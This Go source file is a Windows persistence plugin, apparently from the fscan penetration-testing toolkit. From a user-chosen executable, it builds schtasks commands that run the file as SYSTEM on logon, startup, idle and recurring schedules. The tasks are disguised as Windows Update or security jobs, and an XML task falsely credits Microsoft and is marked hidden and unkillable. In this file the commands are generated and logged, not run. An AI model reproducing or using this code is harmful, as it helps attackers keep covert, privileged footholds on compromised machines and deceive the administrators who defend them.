//go:build windows

package winschtask

import (
	"context"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// WinSchTaskPlugin Windows计划任务持久化插件 - 使用简化架构
type WinSchTaskPlugin struct {
	*local.BaseLocalPlugin
	pePath string
}

// NewWinSchTaskPlugin 创建Windows计划任务持久化插件 - 简化版本
func NewWinSchTaskPlugin() *WinSchTaskPlugin {
	// 从全局参数获取PE文件路径
	peFile := common.WinPEFile
	if peFile == "" {
		peFile = "" // 需要用户指定
	}

	metadata := &base.PluginMetadata{
		Name:        "winschtask",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Windows计划任务持久化插件，通过schtasks创建定时任务实现持久化",
		Category:    "local",
		Tags:        []string{"local", "persistence", "windows", "schtask"},
		Protocols:   []string{"local"},
	}

	plugin := &WinSchTaskPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
		pePath:          peFile,
	}

	// 只支持Windows平台
	plugin.SetPlatformSupport([]string{"windows"})
	// 需要管理员权限创建系统任务
	plugin.SetRequiresPrivileges(true)

	return plugin
}

// Initialize 初始化插件
func (p *WinSchTaskPlugin) Initialize() error {
	if p.pePath == "" {
		return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
	}
	
	// 检查目标文件是否存在
	if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
		return fmt.Errorf("PE文件不存在: %s", p.pePath)
	}
	
	// 检查文件类型
	if !p.isValidPEFile(p.pePath) {
		return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
	}
	
	return p.BaseLocalPlugin.Initialize()
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行Windows计划任务持久化 - 简化版本
func (p *WinSchTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	common.LogBase("开始Windows计划任务持久化...")
	
	scheduledTasks, err := p.createScheduledTaskPersistence(p.pePath)
	if err != nil {
		return &base.ScanResult{
			Success: false,
			Error:   err,
		}, nil
	}

	common.LogInfo(fmt.Sprintf("创建了%d个计划任务持久化项:", len(scheduledTasks)))
	for i, task := range scheduledTasks {
		common.LogInfo(fmt.Sprintf("%d. %s", i+1, task))
	}
	
	result := &base.ScanResult{
		Success: true,
		Service: "WinSchTask",
		Banner:  fmt.Sprintf("Windows计划任务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
		Extra: map[string]interface{}{
			"pe_file":           p.pePath,
			"persistence_type":  "scheduled_task",
			"tasks_created":     len(scheduledTasks),
			"scheduled_tasks":   scheduledTasks,
		},
	}
	
	return result, nil
}

func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) {
	absPath, err := filepath.Abs(pePath)
	if err != nil {
		return nil, fmt.Errorf("failed to get absolute path: %v", err)
	}

	var scheduledTasks []string
	baseName := filepath.Base(absPath)
	baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]

	tasks := []struct {
		name        string
		schedule    string
		description string
		modifier    string
	}{
		{
			name:        fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt),
			schedule:    "DAILY",
			modifier:    "1",
			description: "Daily Windows Update Check",
		},
		{
			name:        fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt),
			schedule:    "ONLOGON",
			modifier:    "",
			description: "System Security Scan on Logon",
		},
		{
			name:        fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt),
			schedule:    "MINUTE",
			modifier:    "30",
			description: "Network Monitor Every 30 Minutes",
		},
		{
			name:        fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt),
			schedule:    "ONSTART",
			modifier:    "",
			description: "System Maintenance Task on Startup",
		},
		{
			name:        fmt.Sprintf("BackgroundService_%s", baseNameNoExt),
			schedule:    "HOURLY",
			modifier:    "2",
			description: "Background Service Every 2 Hours",
		},
		{
			name:        fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
			schedule:    "ONIDLE",
			modifier:    "5",
			description: "Security Update When System Idle",
		},
	}

	for _, task := range tasks {
		var schTaskCmd string
		
		if task.modifier != "" {
			schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`,
				task.name, absPath, task.schedule, task.modifier)
		} else {
			schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`,
				task.name, absPath, task.schedule)
		}

		scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd))
	}

	xmlTemplate := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2023-01-01T00:00:00</Date>
    <Author>Microsoft Corporation</Author>
    <Description>Windows System Service</Description>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
    <BootTrigger>
      <Enabled>true</Enabled>
    </BootTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>false</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>%s</Command>
    </Exec>
  </Actions>
</Task>`, absPath)

	xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt)
	xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName)
	
	xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`,
		xmlTemplate, xmlPath, xmlPath, xmlTaskName)
	
	scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd))

	return scheduledTasks, nil
}

// isValidPEFile 检查是否为有效的PE文件
func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool {
	ext := strings.ToLower(filepath.Ext(filePath))
	return ext == ".exe" || ext == ".dll"
}

// RegisterWinSchTaskPlugin 注册Windows计划任务持久化插件
func RegisterWinSchTaskPlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "winschtask",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "Windows计划任务持久化插件，通过schtasks创建定时任务实现持久化",
			Category:    "local",
			Tags:        []string{"winschtask", "local", "persistence", "windows"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewWinSchTaskPlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("winschtask", factory)
}

// init 插件注册函数
func init() {
	RegisterWinSchTaskPlugin()
}